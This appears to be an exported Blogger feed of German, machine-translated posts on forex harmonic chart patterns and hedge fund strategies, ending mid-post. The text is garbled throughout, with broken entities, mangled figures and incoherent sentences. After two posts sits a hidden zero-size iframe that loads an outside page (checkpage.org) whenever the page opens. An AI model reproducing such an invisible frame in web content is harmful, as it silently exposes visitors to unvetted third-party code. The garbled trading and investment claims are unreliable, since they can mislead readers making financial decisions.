viel stärkerer Trend tatsächlich vorhanden ist. Wenn dies geschieht, werden die Preise in der Regel weiterhin auf die 127,2 oder 161,8 Erweiterung des Umzugs von X bis A. Trading The Gartley Pattern Es war einmal, gab es diese wahnsinnig intelligente Händler Dude namens Harold McKinley Gartley. Er hatte Mitte der 1930er-Jahre eine Börsenberatung mit einem riesigen Nachfolgeprogramm. Dieser Dienst war einer der ersten, der wissenschaftliche und statistische Methoden zur Analyse des Börsenverhaltens anwendet. Nach Gartley, war er endlich in der Lage, zwei der größten Probleme der Händler zu lösen: was und wann zu kaufen. Schon bald erkannten die Händler, dass diese Muster auch auf andere Märkte übertragen werden könnten. Seitdem wurden verschiedene Bücher, Trading-Software und andere Muster (unten diskutiert) auf der Grundlage der Gartleys gemacht. Gartley a. k.a. ldquo222rdquo PatternThe Gartley ldquo222rdquo Muster ist für die Seitenzahl benannt, die es in H. M. gefunden wird. Gartleys Buch, Gewinne in der Börse. Gartleys sind Muster, die die grundlegende ABCD-Muster wersquove bereits besprochen haben, aber sind mit einem signifikanten hohen oder niedrigen voraus. Nun bilden sich diese Muster normalerweise, wenn eine Korrektur des Gesamttrends stattfindet und wie lsquoMrsquo (oder lsquoWrsquo für bearish Muster) aussehen. Diese Muster werden verwendet, um Händler zu helfen, gute Einstiegspunkte zu finden, um auf den Gesamttrend zu springen. Ein Gartley bildet, wenn die Preisaktion auf einem jüngsten Aufwärtstrend (oder Abwärtstrend) vor sich gegangen ist, aber begonnen hat, Anzeichen einer Korrektur zu zeigen. Was macht die Gartley so ein schönes Setup, wenn es Formen ist die Umkehrpunkte sind ein Fibonacci Retracement und Fibonacci Erweiterung Ebene. Dies gibt einen stärkeren Hinweis, dass das Paar tatsächlich umgekehrt. Dieses Muster kann schwer zu erkennen und sobald Sie tun, kann es verwirrend, wenn Sie Pop-up all jene Fibonacci-Tools. Der Schlüssel zur Vermeidung aller Verwirrung ist, die Dinge einen Schritt zu einer Zeit. In jedem Fall enthält das Muster ein bullisches oder bärisches ABCD-Muster. Aber ein Punkt (X) vorausgeht, der über Punkt D hinausgeht. Das ldquoperfectrdquo Gartley-Muster weist die folgenden Merkmale auf: Move AB sollte das .618-Retracement der Bewegung XA sein. Verschieben BC sollte entweder .382 oder .886 Retracement von move AB sein. Wenn das Retracement von move BC ist .382 von move AB, dann sollte CD 1.272 von move BC sein. Wenn die Bewegung BC sich auf .886 von AB bewegt, sollte die CD 1,618 von move BC verlängern. Move CD sollte .786 Retracement der Bewegung XA8203 Im Jahr 2000 entdeckte Scott Carney, ein Unternehmen glaubte an harmonische Preismuster, die ldquoCrabrdquo. Ihm zufolge ist dies die genaueste unter allen harmonischen Mustern, weil, wie extrem die potenzielle Umkehrzone (manchmal ldquoprice besser umgekehrt oder imma gonna verlieren mein shirtrdquo Punkt) von der Bewegung XA. Dieses Muster hat eine hohe Belohnung-zu-Risiko-Verhältnis, weil Sie einen sehr engen Stop-Loss setzen können. Die ldquoperfectrdquo Krabbenmuster müssen die folgenden Aspekte haben: Move AB sollte das .382 oder .618 Retracement von move XA sein. Verschieben BC kann entweder .382 oder .886 Retracement von move AB sein. Wenn das Retracement der Bewegung BC ist .382 der Bewegung AB, dann sollte CD 2,24 der Bewegung BC sein. Consquently, wenn move BC ist .886 von move AB, dann CD sollte 3.618 Erweiterung der move BC sein. CD sollte 1.618 Erweiterung von move XA sein. Der BAT Come 2001, Scott Carney gründete ein weiteres Harmonic Price Pattern namens ldquoBat. rdquo Die Bat ist definiert durch die .886 Retracement der Bewegung XA als potenzielle Umkehrzone. Das Bat-Muster hat die folgenden Qualitäten: Move AB sollte das .382 oder .500 Retracement von move XA sein. Verschieben BC kann entweder .382 oder .886 Retracement von move AB sein. Wenn das Retracement der Bewegung BC ist .382 der Bewegung AB, dann sollte CD 1,618 Verlängerung der Bewegung BC sein. Consquently, wenn move BC ist .886 von move AB, dann sollte CD 2.618 Erweiterung der move BC sein. CD sollte .886 Retracement der Bewegung XA. Der Schmetterling Dann gibt es das Schmetterlingsmuster. Wie Muhammad Ali, wenn Sie dieses Setup vor Ort, yoursquoll sicher schwingen für einige Knockout-Größe Pips von Bryce Gilmore, ist das perfekte Butterfly-Muster definiert durch die .786 Retracement der Bewegung AB in Bezug auf XA verschieben. Der Schmetterling enthält diese spezifischen Merkmale: Move AB sollte das .786 Retracement der Bewegung XA sein. Verschieben BC kann entweder .382 oder .886 Retracement von move AB sein. Wenn das Retracement der Bewegung BC ist .382 der Bewegung AB, dann sollte CD 1,618 Verlängerung der Bewegung BC sein. In der Regel, wenn move BC ist .886 von move AB, dann CD sollte 2,618 von move BC erweitern. CD sollte 1,27 oder 1,618 Erweiterung von move XA sein. Feinabstimmung Einträge und Stopps Jedes Muster bietet eine PRZ. Dies ist kein exakter Pegel, da zwei Messungen - Erweiterung oder Retracement von XA - eine Ebene bei D erzeugen und die Erweiterung von BC eine andere Ebene bei D schafft. Dies macht tatsächlich D eine Zone, wo Umkehrungen wahrscheinlich sind. Händler werden auch bemerken, dass BC unterschiedliche Auszugslängen haben kann. Daher müssen Händler wissen, wie weit eine BC-Erweiterung gehen kann. Wenn alle projizierten Level in der Nähe sind, kann der Trader eine Position an jedem beliebigen Bereich eingeben. Wenn die Zone ausgedehnt wird, z. B. auf längerfristigen Charts, bei denen der Level 50 Pips oder mehr auseinander liegen kann, ist es wichtig zu sehen, ob der Preis eine weitere Verlängerung von BC vor dem Eintritt in einen Trade erreicht. Stops können außerhalb der größten potenziellen Erweiterung von BC platziert werden. In dem Krabbenmuster wäre dies beispielsweise 3,618. Wurde der Kurs vor dem Treffen von 3.618 rückgängig gemacht, würde der Stopp in der PRZ direkt auf die niedrigere Stufe (bullish-Muster) oder auf die hohe Rate (bearish pattern) verschoben werden. Der Preis berührt fast genau die 1,618 Verlängerung von XA bei 1,4892 und die Verlängerung von BC bis 2,618 ist sehr nah bei 1,4887 (es gibt zwei Fibonacci-Werkzeuge verwendet, eine für jede Welle). Dies schafft eine sehr kleine PRZ, aber es kann nicht immer der Fall sein. Eintrag wird genommen, nachdem die Rate die Zone betritt und dann beginnt sich zurückzuziehen. Die Haltestelle befindet sich direkt außerhalb des bedeutendsten Levels, der nicht von der Rate erreicht wurde, in diesem Fall ein paar Pips oberhalb der 1.618 XA Verlängerung. Targets können auf Support-Levels innerhalb des Musters basieren, daher sollte ein anfängliches Profitziel knapp oberhalb von Punkt B liegen. (Crowd Psychology ist der Grund, warum diese Technik funktioniert. Erfahren Sie, wie Sie es für Sie arbeiten. Um mehr zu erfahren, siehe Candlesticks Light The Way To Logical Trading.) The Bottom Line Harmonischen Handel ist eine präzise und mathematische Weise zu handeln, aber es erfordert Geduld, Praxis und eine Menge Studie, um die Muster zu meistern. Bewegungen, die nicht mit richtigen Mustermessungen übereinstimmen, machen ein Muster ungültig und können Händler in die Irre führen. Die Gartley, Schmetterling, Fledermaus und Krabbe sind die bekannteren Muster, die die Händler bewachen können. Einträge werden in der potenziellen Umkehrzone vorgenommen, wenn die Preisbestätigung eine Stornierung anzeigt, und Stopps werden außerhalb des nächsten signifikanten (für das Muster) Fibonacci-Levels platziert, der von den BC - oder XA-Erweiterungen nicht in den D (PRZ) Bereich getroffen wurde. (Alle Trading-Plattformen haben Vor-und Nachteile - meistern Sie die gefälschten Handel, bevor Sie eine echte. Check out Forex: Demo, bevor Sie tauchen.)</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-6043955702701479432017-08-14T21:43:00.000-07:002017-08-14T21:43:09.221-07:00Forex Hedgefonds Strategien<p>Jetzt gibt es eine einfache Drehung Key-Weg für erfolgreiche Händler, um ihre eigenen Spot Forex Fund, wo Sie: Sie sind der Fondsmanager Sie verdienen die Incentive-Gebühr Sie steuern die Investment-und Handelsstrategie. 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Es gibt keine Standard-feste Kontraktgröße, keine Provisionsgebühren oder sonstige zusätzliche Transaktionskosten. Alle angegebenen Preise sind zwei Wege, d. h. ein Angebot und ein Angebot (der Spread). Dieser Preis ist inklusive aller Handelskosten. Die Spanne kann je nach Marktlage und Liquidität variieren. Die Preise können je nach Liquidität variieren und ändern sich ständig. Der Markt ist rund um die Uhr lebendig und folgt der Sonne rund um den Globus. Es ist möglich, effizient auf dem Markt von 20:00 Uhr GMT Sonntag bis 21: 00GMT Freitag. Positionen können jederzeit während dieser Zeit geöffnet und geschlossen werden. Die internationale Terminlinie befindet sich im westlichen Pazifik, und jeder Geschäftstag kommt zuerst in den Asien-Pazifik-Finanzzentren zuerst Wellington, Neuseeland, dann Sydney, Australien, gefolgt von Tokio, Hongkong und Singapur. Ein paar Stunden später, während Märkte in diesen asiatischen Zentren aktiv bleiben, beginnt der Handel in Bahrain und anderswo im Nahen Osten. Später, wenn es spät am Geschäftstag in Tokio ist, öffnen sich die Märkte in Europa für Unternehmen. Bemerkenswerterweise ist die europäische Zeitzone am aktivsten, wobei etwa 23 aller globalen Transaktionen durch London geklärt sind. Anschließend, wenn es am frühen Nachmittag in Europa ist, beginnt der Handel in New York und anderen US-Zentren. Schließlich, wenn der Kreis, wenn es Mitte oder am späten Nachmittag in den Vereinigten Staaten ist, am nächsten Tag im Asien-Pazifik-Gebiet angekommen ist, haben die ersten Märkte dort eröffnet, und der Prozess beginnt wieder. Der 24-Stunden-Markt bedeutet, dass sich Wechselkurse und Marktbedingungen jederzeit als Reaktion auf globale Entwicklungen jederzeit ändern können. Alle von der Partnerschaft gewählten Handelsträger müssen über einen 24-Stunden-Handel verfügen. Dies ist der einzige Markt, auf den die Anleger reagieren und potenziell von jedem wirtschaftlichen, sozialen und politischen Ereignis profitieren können, wenn es Tag und Nacht eintritt. Für weitere Informationen über das Starten eines Forex Hedge Fonds oder wie Sie einen FOREX Hedge Fonds zu starten, kontaktieren Sie uns bitte per E-Mail oder (888) 263-4774.The Multiple Strategien der Hedge Fonds Immer erwägen Investitionen in einem Hedgefonds. Als ersten Schritt müssen potenzielle Investoren wissen, wie diese Fonds Geld verdienen und wie viel Risiko sie nehmen. Während keine zwei Fonds identisch sind, generieren die meisten ihre Erträge aus einer oder mehreren der folgenden Strategien: Der erste Hedgefonds, der 1949 von Alfred W. Jones ins Leben gerufen wurde, verwendete eine Longshort-Aktienstrategie, die noch den Löwenanteil der Eigenkapitalabsicherung ausmacht Fondsvermögen heute. Das Konzept ist einfach: Investment Research dreht sich um erwartete Gewinner und Verlierer, warum also nicht auf beide Pledge Long Positionen in der Gewinner als Sicherheiten, um Short-Positionen in den Verlierern zu finanzieren. Das kombinierte Portfolio schafft mehr Chancen für idiosynkratische (d. h. bestandsbezogene) Gewinne und verringert das Marktrisiko, da die Shorts das lange Marktrisiko ausgleichen. Im Wesentlichen ist Longshort-Equity eine Erweiterung des Paarenhandels. In denen Investoren lange und kurze zwei konkurrierende Unternehmen in der gleichen Branche auf der Grundlage ihrer relativen Bewertungen. Wenn General Motors (GM) billig im Vergleich zu Ford, zum Beispiel, ein Paar Händler kaufen könnte 100.000 Wert von GM und kurz einen gleichen Wert von Ford Aktien. Das Netto-Markt-Exposure ist Null, aber wenn GM übertrifft Ford, wird der Investor Geld machen, egal was passiert, um den gesamten Markt. Angenommen, Ford steigt 20 und GM steigt 27 der Händler verkauft GM für 127.000, deckt die Ford-Short für 120.000 und Taschen 7.000. Wenn Ford fällt 30 und GM fällt 23, verkauft er GM für 77.000, deckt die Ford-Short für 70.000, und immer noch Taschen 7.000. Wenn der Händler falsch ist und Ford übertrifft GM, jedoch wird er Geld verlieren. Longshort Equity ist eine relativ risikoarme Leveraged Wette auf die Manager-Kommissionierung Fähigkeiten. Longshort Equity-Hedge-Fonds haben typischerweise ein Netto-Long-Markt-Engagement, da die meisten Manager ihren gesamten langen Marktwert nicht mit Short-Positionen absichern. Der nicht gesicherte Anteil des Portfolios kann schwanken, wodurch ein Element des Markt-Timings für die Gesamtrendite eingeführt wird. Im Gegensatz dazu zielen marktneutrale Hedgefonds auf Null-Netto-Marktrisiko - d. H. Shorts und Longs haben gleichen Marktwert, was bedeutet, dass die Manager ihre gesamte Rendite aus der Aktienauswahl generieren. Diese Strategie hat ein geringeres Risiko als eine langfristige Strategie - aber die erwarteten Renditen sind auch niedriger. Longshort und marktneutrale Hedgefonds kämpften mehrere Jahre nach der Finanzkrise von 2007. Investoren-Einstellungen waren oft binär: Risiko-on (bullish) oder Risiko-off (bearish) - und wenn Aktien nach oben oder unten im Einklang, Strategien, die abhängig von Aktienauswahl nicht funktionieren. Darüber hinaus bereinigt niedrigen Zinsen eliminiert Ergebnis aus dem Bestand Darlehen Rabatt. Oder Zinsen, die auf Kreditsicherheiten gebucht werden, die gegen geliehene Aktien veräußert wurden. Das Bargeld wird über Nacht ausgeliehen, und der Kreditvermittler hält einen Anteil - typischerweise 20 der Zinsen - als Gebühr für die Anordnung des Bestanddarlehens und verrechnet die restlichen Zinsen für den Kreditnehmer (dem das Geld gehört). Wenn die Tagesgeldzinssätze 4 betragen und ein marktneutraler Fonds den typischen 80 Bonus erhält, verdient er 0,04 x 0,8 3,2 pro Jahr vor Gebühren, auch wenn das Portfolio flach ist. Aber wenn die Raten nahe Null sind, so ist der Rabatt. Eine risikoreichere Version des marktneutralen Fusions-Arbitrages leitet seine Erträge aus der Übernahmeaktivität ab. Nach der Bekanntgabe eines Börsengeschäfts kann der Hedgefondsmanager Anteile an der Zielgesellschaft kaufen und kurzfristige Käuferaktien in dem durch den Fusionsvertrag vorgeschriebenen Verhältnis verkaufen. Die Vereinbarung unterliegt bestimmten Bedingungen - der behördlichen Genehmigung, einer günstigen Abstimmung der Zielgesellschafter und keiner wesentlichen negativen Änderung der Geschäfts - oder Finanzlage. Die Zielgesellschaft teilt Handel für weniger als die Fusion Erwägungen pro Aktie Wert, ein Spread, dass der Anleger für das Risiko, dass die Transaktion nicht schließen kann und für den Zeitwert des Geldes bis zum Schließen kompensiert. In Geldgeschäften. Zielgesellschaft Aktien handeln mit einem Abschlag auf die Bar zahlbar bei Abschluss, so dass der Manager nicht zu sichern. In jedem Fall liefert der Spread eine Rendite, wenn das Geschäft geht, egal was passiert mit dem Markt. Der Fang Der Käufer zahlt oft eine große Prämie über den Pre-Deal-Aktienkurs, so dass Investoren große Verluste, wenn Transaktionen auseinander fallen. Wandelanleihen sind hybride Wertpapiere, die eine direkte Anleihe mit einer Aktienoption kombinieren. Ein wandelbarer Arbitrage Hedge Fonds ist in der Regel lange Wandelanleihen und kurz einen Anteil der Aktien, in die sie konvertieren. Manager versuchen, eine delta-neutrale Position zu halten, in der sich die Anleihen - und Aktienpositionen gegenseitig ausgleichen, wenn der Markt schwankt. Um Delta-Neutralität zu bewahren, müssen die Händler ihre Hedge vermehren - d. h. verkaufen mehr Aktien kurz, wenn der Preis steigt und Aktien kaufen, um die Hedge zu reduzieren, wenn der Preis sinkt, zwingt sie, niedrig zu kaufen und hoch zu verkaufen. Convertible Arbitrage gedeiht auf Volatilität. Je mehr sich die Aktien ranken, desto mehr Chancen ergeben sich, um die delta - neutrale Hedge - und Buchgewinne anzupassen. Fonds gedeihen, wenn Volatilität ist hoch oder rückläufig, aber Kampf, wenn Volatilität Spikes - wie es immer tut, in Zeiten des Marktes Stress. Convertible Arbitrage Gesichter Ereignis Risiko. : Wenn ein Emittent ein Übernahmeziel wird, kollabiert die Umwandlungsprämie, bevor der Manager die Absicherung anpassen kann, was einen erheblichen Verlust verursacht. An der Grenze zwischen Eigenkapital und Fixed Income liegen ereignisgesteuerte Strategien, in denen Hedgefonds die Schulden von Unternehmen kaufen, die in finanzieller Not sind oder bereits Insolvenz angemeldet haben. Manager konzentrieren sich oft auf die höheren Schulden. Die höchstwahrscheinlich zu par oder mit dem kleinsten Haarschnitt in jedem Sanierungsplan zurückgezahlt werden. Wenn das Unternehmen noch nicht für Konkurs angemeldet hat, kann der Manager kurzes Eigenkapital verkaufen, wetten die Aktien fallen entweder, wenn es Datei oder wenn ein ausgehandeltes Eigenkapital für Schulden-Swaps fordert Konkurs fallen. Wenn das Unternehmen bereits im Konkurs ist, kann eine Junior-Klasse von Schulden, die eine niedrigere Erholung nach der Reorganisation berechtigt, eine bessere Absicherung sein. Investoren in ereignisgesteuerten Fonds müssen geduldig sein. Unternehmensreorganisationen spielen sich über Monate oder sogar Jahre hinweg aus, in denen sich die beunruhigten Unternehmenstätigkeiten verschlechtern können. Ändernde Finanzmarktbedingungen können auch das Ergebnis beeinflussen - für besser oder schlechter. Kapitalstruktur Arbitrage, ähnlich wie ereignisgesteuerte Trades, auch die meisten Hedge-Fonds-Kredit-Strategien zugrunde liegen. Manager suchen nach einem relativen Wert zwischen Senior - und Junior-Wertpapieren derselben Emittentin. Sie handeln auch Wertpapiere gleicher Bonität von verschiedenen Unternehmens-Emittenten oder verschiedene Tranchen im komplexen Kapital von strukturierten Schuldtiteln wie hypothekenbesicherte Wertpapiere oder besicherte Kreditzusagen. Kredit-Hedge-Fonds konzentrieren sich auf Kredit statt Zinsen in der Tat, viele Manager verkaufen kurze Zins-Futures oder Staatsanleihen zur Absicherung ihrer Zins-Exposition. Kreditfonds neigen dazu, gedeihen, wenn Kredit breitet sich schmal in robusten Wirtschaftswachstumsperioden, sondern kann Verluste erleiden, wenn die Wirtschaft verlangsamt und breitet sich ausblasen. Hedge-Fonds, die in festverzinslichen Arbitrage eke out Renditen aus risikofreie Staatsanleihen. Wodurch Kreditrisiken beseitigt werden. Manager machen Leveraged-Wetten auf, wie sich die Form der Zinskurve ändert. Wenn sie z. B. erwarten, dass hohe Zinssätze im Verhältnis zu kurzen Zinssätzen steigen, werden sie kurze, langfristige Anleihen oder Futures verkaufen und kurzfristige Wertpapiere oder Zinsfutures kaufen. Diese Mittel verwenden in der Regel hohe Hebelwirkung zu steigern, was ansonsten bescheidene Renditen wäre. Per definitionem erhöht Hebelwirkung das Verlustrisiko, wenn der Manager falsch ist. Einige Hedgefonds analysieren, wie makroökonomische Trends die Zinssätze, Währungen, Rohstoffe oder Aktien weltweit beeinflussen werden, und nehmen Long - oder Short-Positionen in der jeweiligen Anlageklasse wahr. Obwohl globale Makrofonds fast alles handhaben können, bevorzugen Manager meist hochliquide Instrumente wie Futures und Devisentermingeschäfte. Makro-Fonds dont immer Hedge, aber - Manager oft große Richtungs-Wetten, die manchmal nicht ausschwenken. Infolgedessen gehören Renditen zu den volatilsten Hedge-Fonds-Strategien. Die ultimativen direktionalen Händler sind Short-Only-Hedge-Fonds, die professionellen Pessimisten, die ihre Energie auf die Suche nach überbewerteten Aktien zu widmen. Sie scoring Finanzaussage Fußnoten und sprechen Sie mit Lieferanten oder Konkurrenten zu Anzeichen von Schwierigkeiten zu Anlegern ignorieren. Gelegentlich erzielen Manager einen Hausdurchlauf, wenn sie Rechnungsbetrug oder andere Malfeasance aufdecken. Short-only Fonds können eine Portfolio-Hedge gegen Baisse bieten. Aber sie sind nicht für schwache Nerven. Die Führungskräfte stehen vor einer permanenten Behinderung: Sie müssen die langfristige Aufwärtsentwicklung im Aktienmarkt überwinden. Anleger sollten eine sorgfältige Due Diligence durchführen, bevor sie Geld für einen Hedgefonds einsetzen, aber das Verständnis der Strategien des Fonds und seines Risikoprofils ist ein wesentlicher erster Schritt. Hedge Funds: Strategien Hedge Fonds nutzen eine Vielzahl unterschiedlicher Strategien, und jeder Fondsmanager wird Dass er oder sie ist einzigartig und sollte nicht mit anderen Managern verglichen werden. Allerdings können wir viele dieser Strategien in bestimmte Kategorien, die einen Analystinvestor bei der Festlegung der Fähigkeiten eines Managers und die Bewertung, wie eine bestimmte Strategie könnte unter bestimmten makroökonomischen Bedingungen zu unterstützen. Das Folgende ist lose definiert und umfasst nicht alle Hedgefonds-Strategien, sondern es sollte dem Leser eine Vorstellung von der Breite und Komplexität der gegenwärtigen Strategien geben. Equity Hedge Die Equity Hedge-Strategie wird gemeinhin als Long-Shore-Aktien bezeichnet, und obwohl es vielleicht eine der einfachsten Strategien zu verstehen ist, gibt es eine Vielzahl von Sub-Strategien innerhalb der Kategorie. 13 LongShort In dieser Strategie können Hedgefondsmanager entweder Aktien kaufen, die sie unterbewertet fühlen oder Short-Aktien verkaufen, die sie für überbewertet halten. In den meisten Fällen wird der Fonds zum Beispiel ein positives Engagement an den Aktienmärkten haben, wobei 70 der Fonds lange in Aktien investiert haben und 30 in den Shorting von Aktien investiert haben. In diesem Beispiel beträgt das Nettoengagement an den Aktienmärkten 40 (70-30) und der Fonds würde keinen Hebel nutzen (ihre Brutto-Exposure wäre 100). Wenn der Manager jedoch die Long-Positionen im Fonds auf 80 erhöht, während er weiterhin eine 30 Short-Position beibehält, hätte der Fonds ein Brutto-Engagement von 110 (8030 110), was eine Hebelwirkung von 10.Market Neutral anzeigt , Wendet ein Hedgefondsmanager die gleichen Grundbegriffe an, die im vorigen Absatz erwähnt wurden, versucht aber, das Engagement im breiten Markt zu minimieren. Dies kann auf zwei Arten geschehen. Bei gleichen Anteilen in Long - und Short-Positionen wäre das Netto-Exposure des Fonds null. Zum Beispiel, wenn 50 der Fonds investiert wurden lange und 50 wurden kurz investiert, das Netto-Exposure wäre 0 und die Brutto-Exposure wäre 100. (Finden Sie heraus, wie diese Strategie arbeitet mit Investmentfonds Lesen Sie Positive Ergebnisse mit Market-Neutral Funds. ) Es gibt einen zweiten Weg, um Marktneutralität zu erreichen, und das ist, null Beta-Exposition zu haben. In diesem Fall würde sich der Fondsmanager bemühen, sowohl in Long - als auch Short-Positionen zu investieren, so dass das Beta-Maß des Gesamtfonds so gering wie möglich ist. In beiden marktneutralen Strategien ist die Absicht des Fondsmanagers, jegliche Auswirkungen von Marktbewegungen zu beseitigen und sich ausschließlich auf seine Lagerfähigkeit zu verlassen. 1313 Jede dieser Longshort-Strategien kann innerhalb einer Region, eines Sektors oder einer Branche angewendet werden, oder sie können auf marktspezifische Bestände usw. angewendet werden. In der Welt der Hedge-Fonds, in denen jeder versucht, sich selbst zu differenzieren, finden Sie diese Person Strategien haben ihre einzigartigen Nuancen, aber alle von ihnen verwenden die gleichen Grundprinzipien, die hier beschrieben werden. Global Macro Im Allgemeinen sind das die Strategien, die die höchsten Risikobereitsprofile jeder Hedge-Fonds-Strategie haben. Globale Makrofonds investieren in Aktien, Anleihen, Währungen. Waren. Optionen, Futures. Forwards und anderen derivativen Wertpapieren. Sie neigen dazu, direktionale Wetten auf die Preise der zugrunde liegenden Vermögenswerte zu platzieren und sie sind in der Regel sehr gut genutzt. Die meisten dieser Fonds haben eine globale Perspektive und können aufgrund der Vielfalt der Investitionen und der Größe der Märkte, in die sie investieren, ziemlich groß werden, bevor sie durch Kapazitätsprobleme in Frage gestellt werden. Viele der größten Hedge-Fund-Blow-ups waren globale Makros, darunter Long-Term Capital Management und Amaranth Advisors. Beide waren ziemlich große Fonds und beide waren sehr gut genutzt. (Für weitere, lesen Massive Hedge Fund Ausfälle und Losing The Amaranth Gamble.) Relative Value Arbitrage Diese Strategie ist ein catchall für eine Vielzahl von verschiedenen Strategien mit einer breiten Palette von Wertpapieren verwendet. Das zugrundeliegende Konzept ist, dass ein Hedgefondsmanager eine Sicherheit erwirbt, die erwartet wird, zu schätzen, während er gleichzeitig eine verwandte Sicherheit verkauft, die erwartet wird, abzuschreiben. Verwandte Wertpapiere können die Aktie und Anleihe eines bestimmten Unternehmens die Bestände von zwei verschiedenen Unternehmen in dem gleichen Sektor oder zwei Anleihen von der gleichen Firma mit unterschiedlichen Laufzeiten und Coupons ausgestellt werden. In jedem Fall gibt es einen Gleichgewichtswert, der leicht zu berechnen ist, da die Wertpapiere verwandt sind, sich jedoch in einigen ihrer Komponenten unterscheiden. Betrachten wir ein einfaches Beispiel: Coupons werden alle sechs Monate bezahlt. Die Laufzeit wird für beide Anleihen gleich sein. Gehen Sie davon aus, dass ein Unternehmen zwei ausstehende Anleihen hat: einer zahlt 8 und der andere zahlt 6. Sie sind beide erstmalige Forderungen an die Vermögenswerte des Unternehmens und sie laufen beide am selben Tag aus. Da die 8-Anleihe einen höheren Coupon bezahlt, sollte sie mit einer Prämie an die 6-Bindung verkaufen. Wenn die 6-Anleihe zu par (1.000) gehandelt wird, sollte die 8-Anleihe bei 1.276,76 gehandelt werden, alles andere ist gleich. Allerdings ist die Höhe dieser Prämie oft aus dem Gleichgewicht, so dass die Möglichkeit für einen Hedgefonds, um eine Transaktion, die Vorteile der temporären Preisunterschiede. Nehmen wir an, dass die 8-Anleihe bei 1.100 gehandelt wird, während die 6-Anleihe bei 1.000 gehandelt wird. Um diese Preisdiskrepanz auszunutzen, würde ein Hedgefondsmanager die 8 Anleihe kaufen und die 6 Anleihe verkaufen, um die temporären Preisunterschiede zu nutzen. Ich habe eine ziemlich große Verbreitung in der Prämie verwendet, um einen Punkt zu reflektieren. In Wirklichkeit ist die Ausbreitung vom Gleichgewicht viel schmaler, treibt den Hedgefonds, um Hebelwirkung anzuwenden, um eine sinnvolle Rendite zu generieren. Convertible Arbitrage Dies ist eine Form der relativen Wert Arbitrage. Während einige Hedgefonds einfach in Wandelschuldverschreibungen investieren, nimmt ein Hedgefonds mit Wandelanleihe tatsächlich sowohl Positionen in den Wandelschuldverschreibungen als auch in den Aktien eines bestimmten Unternehmens ein. Eine Wandelschuldverschreibung kann in eine bestimmte Anzahl von Aktien umgewandelt werden. Angenommen, eine Wandelanleihe wird für 1.000 verkauft und ist in 20 Aktien des Aktienbestands umwandelbar. In einem konvertierbaren Arbitragegeschäft wird ein Hedge-Fondsmanager die Wandelschuldverschreibung erwerben und die Aktie in Erwartung des Anwachsens der Anleihen, der Abnahme des Aktienkurses oder beides reduzieren . Denken Sie daran, dass es zwei zusätzliche Variablen gibt, die zum Preis einer Wandelanleihe beitragen, die nicht dem Kurs des Basiswerts entspricht. Zum einen wird die Wandelschuldverschreibung durch Bewegungen der Zinssätze, wie jede andere Anleihe, beeinträchtigt. Zweitens wird der Preis auch durch die eingebettete Option zur Wandlung der Anleihe in Aktien beeinflusst und die eingebettete Option wird durch Volatilität beeinflusst. Also, auch wenn die Anleihe für 1.000 verkaufte und die Aktie für 50 verkaufte, was in diesem Fall das Gleichgewicht ist, wird der Hedgefondsmanager eine Wandelanleihe-Transaktion abschließen, wenn er oder sie glaubt, dass 1) die implizite Volatilität im Optionsanteil von Die Anleihe ist zu niedrig oder 2) dass eine Verringerung der Zinssätze den Preis der Anleihe mehr erhöhen wird, als sie den Preis der Aktie erhöhen wird. Auch wenn sie falsch sind und sich die relativen Preise in die entgegengesetzte Richtung bewegen, weil die Position immun gegenüber firmenspezifischen Nachrichten ist, werden die Auswirkungen der Bewegungen gering sein. Ein konvertierbarer Arbitrage-Manager muss dann in eine große Anzahl von Positionen eintreten, um viele kleine Renditen auszugleichen, die zu einer attraktiven risikoadjustierten Rendite für einen Investor führen. Wieder einmal, wie in anderen Strategien, dies treibt den Manager, um eine Form von Hebelwirkung verwenden, um Renditen zu vergrößern. (Erlernen Sie die Grundlagen der Wandelanleihen in Convertible Bonds: Eine Einführung Lesen Sie über Hedging-Details bei Leverage Ihre Renditen mit einer Convertible Hedge.) Distressed Hedge Fonds, die in notleidende Wertpapiere investieren sind wirklich einzigartig. In vielen Fällen können diese Hedge-Fonds schwer in Darlehen Workouts oder Umstrukturierungen beteiligt sein. Und kann sogar Positionen in den Vorstand von Unternehmen nehmen, um ihnen helfen, um sie herum. (Sie können ein wenig mehr über diese Aktivitäten bei Activist Hedge Fonds zu sehen.) Das ist nicht zu sagen, dass alle Hedgefonds dies tun. Viele von ihnen kaufen die Wertpapiere in der Erwartung, dass die Sicherheit im Wert auf der Grundlage von fundamentalen oder aktuellen Managements strategische Pläne erhöhen wird. In beiden Fällen beinhaltet diese Strategie den Erwerb von Anleihen, die aufgrund der finanziellen Instabilität oder der Erwartungen der Anleger, die das Unternehmen in Schwierigkeiten hat, einen beträchtlichen Wert verloren haben. In anderen Fällen kann ein Unternehmen aus Konkurs kommen und ein Hedge-Fonds wäre der Kauf der preisgünstigen Anleihen, wenn ihre Bewertung der Ansicht, dass die Unternehmenssituation genug verbessern wird, um ihre Anleihen wertvoller zu machen. Die Strategie kann sehr riskant sein, da viele Unternehmen ihre Situation nicht verbessern, aber gleichzeitig handelt es sich bei den Wertpapieren um solche diskontierten Werte, dass die risikoadjustierten Renditen sehr attraktiv sein können. (Erfahren Sie mehr darüber, warum Fonds diese Risiken annehmen.) Schlussfolgerung Es gibt eine Vielzahl von Hedge-Fonds-Strategien, von denen viele hier nicht behandelt werden. Selbst jene Strategien, die oben beschrieben wurden, sind sehr vereinfacht beschrieben und können viel komplizierter sein, als sie scheinen. Es gibt auch viele Hedge-Fonds, die mehr als eine Strategie verwenden, die Vermögenswerte auf der Grundlage ihrer Einschätzung der Marktchancen zu einem bestimmten Zeitpunkt verschieben. Jede der oben genannten Strategien kann auf der Grundlage ihres Potenzials für absolute Renditen bewertet werden und kann auch auf der Basis makro - und mikroökonomischer Faktoren, sektorspezifischer Probleme und sogar staatlicher und regulatorischer Auswirkungen bewertet werden. Innerhalb dieser Einschätzung wird die Allokationsentscheidung entscheidend, um den Zeitpunkt einer Investition und das erwartete Renditeziel jeder Strategie zu bestimmen. Hedge Fonds: Eigenschaften</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-64193213699985498282017-08-13T11:25:00.000-07:002017-08-13T11:25:15.342-07:00Forex P4l Uhr<p>Kerze-Zeitanzeige wie b-clockP4L C aber unabhängig von Zecken Hallo, hat jeder hier eine Taktgeberanzeige, die unabhängig von den Zecken arbeitet, bedeutet, daß die Taktgeberanzeige nicht 